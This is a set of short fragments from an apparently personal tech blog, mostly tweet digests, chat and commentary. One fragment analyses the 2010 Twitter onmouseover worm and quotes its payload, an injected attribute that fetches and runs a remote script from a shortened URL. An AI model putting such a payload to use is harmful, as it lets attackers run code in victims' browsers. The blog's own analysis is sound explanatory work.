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@richmarr Agreed – the #Android #Twitter client is better than Twidroid for use of full screen, but a nightmare to navigate with mini links in reply to richmarr # argh. doorbell goes, jehovah's witnesses, not flooring contractor. # i think i may have created the world's most contrived pun. for real. # New: Worst pun

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alecm: how’s the house? are you posting photos anywhere? chris: the house is good chris: no photos of it at all recently I’m afraid chris: garden needs a lot of work chris: or rather even more work than it’s getting at the moment! chris: we have bees and 2 ducks (not near each other of

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Read: Cycling, Safety & Sharing the Road: Qualitative Research with Cyclists & other Road Users http://goo.gl/XTEH # @alecmuffett Wow – cut and paste out of a PDF can really mess up Twitter. in reply to alecmuffett # The joy of Wikipedia is that content is transient but edits are forever: http://bit.ly/bQbEhh # Wonderful article –

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Graham Cluley is wryly blaming the new digg.com for the face that he only got 4 [now 10, 7 hours later] diggs for his coverage of the Twitter Worm; the thing is that even as he wrote that the story was already over. Look at this graph: …to a first approximation that is the entire

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15:56 Update – Cleaned-up Version About 1345 my friend Jon Katz tweeted: http://t.co/@”style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7’)”/ From experience this was clearly something malicious; it looked like Twitter was enabling data to be passed as an argument to the shortened link, so that it would somehow be embedded into a webpage and acted-on as JavaScript code. In this case

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oh no, it's the equinox on thursday… # @timrs I'll leave that up to Marks & Spencer in reply to timrs # idonotwantanotherbicycleidonotwantanotherbicycleidonotwantanotherbicycleidonotwantanotherbicycleidonotwantanotherbicycleidonotwantanother… # @ramtopsgrum have got an MP3 in reply to ramtopsgrum # @cthreeo3 a second one? in reply to cthreeo3 # #HP #Oracle Hurd-brouhaha on @r4today right now # All #NewZealand lamb and

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Utterly fabulous idea for traveler's utensils: http://i.imgur.com/qoD9A.jpg # What to do if a friend on Facebook suddenly claims to be mugged in London and needs money: http://bit.ly/9junLm ( via http://bit.ly/aQa5bz ) # New: Concept: #Iran sets itself up as regional internet backbone. Iran censors regional Internet. Iran wins. http://bit.ly/cX3mHe # @pauljakma Am not looking at

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I was pointed at this by the inestimable Joe Carvalho: Iran: Exporting the Internet (part 1) Iran: Exporting the Internet (part 2) Snippets: Until this year, Iranian companies participated in the Internet primarily as consumers of international bandwidth. In 2010, however, they have expanded their scope. Earlier this year the Iranian state telecommunications company began

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So the reasons that VLC has a traffic cone for its icon really is the obvious one: http://bit.ly/bEwoqq # For a YTMND, this is surprisingly listenable http://nphobbits.ytmnd.com/ # 102 year old lens, mounted on a Canon 5D mk II http://bit.ly/co2x92 – excellent stuff! # @zooko You know you're an anagram of Workaholic Zoo Oxen? #

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Fullscreen this youtube video and skip to the middle: http://is.gd/feDMl – I would not do this job; I eventually get over vertigo, but… no # This is an impressively timed picture: http://i.imgur.com/jk1lK.jpg – given the results of http://goo.gl/aTyU I presume it's quite recent. # .@alecmuffett Or of course it could be a total, rather than

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I’m right up there with Evgeny in Slate, until page 2: [ed: Context: Heap blamed, Media Blamed … ] But I don’t think that Heap’s deceptive advertising and the media’s poor watchdogging are the main culprits here. What made Haystack possible was the U.S. government’s urge to embrace the power of the Internet to democratize

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RT @bhareven: BREAKING NEWS: Pope to be Top Gear 'Star in A Reasonably Priced Car'! Will have time adjusted for heavier bullet proof windows # RT @chrisridd: @alecmuffett maybe [The Pope] is the new Stig? # If you can read code and you're a security geek, this is hilarious: http://bit.ly/c0IaKK # @ramtopsgrum So the ban

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